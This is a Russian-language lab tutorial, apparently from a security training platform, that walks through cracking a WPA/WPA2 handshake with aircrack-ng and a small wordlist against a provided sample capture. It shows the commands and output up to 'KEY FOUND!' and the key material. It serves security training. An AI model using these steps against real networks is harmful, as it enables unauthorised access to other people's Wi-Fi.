Введение
В этой лабораторной работе вы научитесь выполнять словарную атаку на рукопожатие WPA/WPA2. Когда устройство подключается к сети Wi-Fi, защищенной WPA/WPA2, происходит 4-стороннее рукопожатие для аутентификации устройства. Захватив это рукопожатие, можно попытаться взломать пароль сети в автономном режиме.
Словарная атака — это метод взлома системы, защищенной паролем, путем систематического ввода каждого слова из списка (называемого словарем или списком слов) в качестве пароля. Мы будем использовать aircrack-ng, мощный инструмент для аудита безопасности Wi-Fi, для проведения этой атаки. Вам будет предоставлен файл захваченного рукопожатия (.cap) и список слов для имитации реального сценария.
К концу этой лабораторной работы вы сможете использовать aircrack-ng для поиска пароля Wi-Fi из файла захваченного рукопожатия.
Поиск файла рукопожатия .cap
На этом шаге вы найдете предварительно захваченный файл рукопожатия WPA. Для этой лабораторной работы в вашем каталоге ~/project размещен пример файла захвата с именем wpa_handshake.cap. Этот файл содержит сетевой трафик, включая необходимое 4-стороннее рукопожатие для атаки.
Сначала перечислим файлы в текущем каталоге, чтобы убедиться в наличии файла захвата. Используйте команду ls -l.
ls -l
В выводе вы должны увидеть файл wpa_handshake.cap вместе с другими файлами.
total 8
-rw-r--r-- 1 labex labex 11 Mar 25 10:00 rockyou.txt
-rw-r--r-- 1 labex labex 985 Mar 25 10:00 wpa_handshake.cap
Теперь, когда вы подтвердили наличие файла захвата, можно переходить к следующему шагу.
Поиск файла списка слов, такого как rockyou.txt
На этом шаге вы найдете и просмотрите файл списка слов. Словарь или список слов — это простой текстовый файл, содержащий список потенциальных паролей, по одному на строку. aircrack-ng будет использовать этот список для проверки каждого пароля на соответствие захваченному рукопожатию.
Небольшой список слов под названием rockyou.txt был создан для вас в каталоге ~/project. Давайте посмотрим его содержимое с помощью команды cat.
cat rockyou.txt
В выводе будут отображены потенциальные пароли, содержащиеся в файле.
password
12345678
biscotte
qwerty
В реальном сценарии списки слов могут быть огромными, содержащими миллионы или даже миллиарды паролей. В этой лабораторной работе наш небольшой список содержит правильный пароль, что позволит атаке быстро завершиться успехом.
Формирование команды aircrack-ng с файлом .cap
На этом шаге вы будете использовать aircrack-ng для анализа файла захвата. Перед запуском атаки хорошей практикой является проверка того, содержит ли файл .cap действительное рукопожатие WPA. aircrack-ng может сделать это за вас.
Запустите aircrack-ng и передайте файл захвата wpa_handshake.cap в качестве аргумента.
aircrack-ng wpa_handshake.cap
aircrack-ng проанализирует файл и отобразит информацию о найденных сетях.
Opening wpa_handshake.cap
Read 13 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa_handshake.cap
Please specify a dictionary (option -w).
Обратите особое внимание на строку WPA (1 handshake). Это подтверждает, что полное рукопожатие WPA для сети "teddy" было успешно захвачено и присутствует в файле. Это подтверждение, которое нам нужно, чтобы продолжить атаку по словарю. Инструмент также предлагает указать словарь, что вы сделаете на следующих шагах.
Указание списка слов с помощью параметра -w
На этом шаге вы узнаете, как указать список слов для атаки с помощью параметра -w. Этот параметр сообщает aircrack-ng, какой файл использовать в качестве словаря потенциальных паролей.
Полный синтаксис команды: aircrack-ng <capture_file> -w <wordlist_file>.
Чтобы понять, как это работает, давайте сначала попробуем выполнить команду со списком слов, которого не существует. Это поможет вам увидеть, как aircrack-ng обрабатывает ошибки. Попробуйте выполнить команду, используя nonexistent.txt в качестве списка слов.
aircrack-ng wpa_handshake.cap -w nonexistent.txt
Вы получите сообщение об ошибке, поскольку файл не может быть найден.
Opening wpa_handshake.cap
Read 13 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa_handshake.cap
The file 'nonexistent.txt' doesn't exist.
Please specify a dictionary (option -w).
Это подтверждает, что aircrack-ng требует действительный, существующий файл для параметра -w. На следующем шаге вы используете правильный файл списка слов для выполнения атаки.
Запуск атаки и анализ вывода 'KEY FOUND'
На этом шаге вы запустите полную атаку по словарю с правильным списком слов и проанализируете вывод, чтобы найти ключ. Теперь, когда вы знаете, как указать файл захвата и список слов, вы можете запустить атаку.
Выполните команду aircrack-ng, указав wpa_handshake.cap в качестве файла захвата и rockyou.txt в качестве списка слов.
aircrack-ng wpa_handshake.cap -w rockyou.txt
aircrack-ng начнет работу. Он будет проверять каждый пароль из rockyou.txt против рукопожатия. Поскольку наш список слов небольшой и содержит правильный пароль, процесс будет очень быстрым.
Opening wpa_handshake.cap
Read 13 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa_handshake.cap
[00:00:00] 3 keys tested (23.08 k/s)
KEY FOUND! [ biscotte ]
Master Key : ED A5 79 22 E5 5F 56 64 74 CB 89 98 44 6A 18 25
E0 E3 44 86 8A F3 89 84 55 4A D3 94 03 19 28 79
Transient Key : 6A 84 A9 58 52 2E 61 30 62 50 2B 88 46 1B 2A 8A
...
EAPOL HMAC : 4E 1A E7 74 52 86 C5 29 A3 43 54 B2 1B 2D 34 18
Самая важная строка в выводе — KEY FOUND! [ biscotte ]. Это означает, что атака была успешной. aircrack-ng протестировал пароли из списка слов и обнаружил, что biscotte является правильным паролем для сети "teddy".
Резюме
В этой лабораторной работе вы успешно выполнили атаку по словарю на WPA-рукопожатие с использованием aircrack-ng.
Вы узнали, как:
- Находить и идентифицировать файл захвата (
.cap) и список слов. - Использовать
aircrack-ngдля проверки файла захвата и подтверждения наличия WPA-рукопожатия. - Использовать параметр
-wдля указания списка слов для атаки. - Выполнять атаку по словарю и интерпретировать результаты для поиска ключа сети.
Это упражнение демонстрирует фундаментальный метод аудита безопасности Wi-Fi и подчеркивает важность использования надежных, сложных паролей, которые нелегко угадать с помощью атак по словарю.
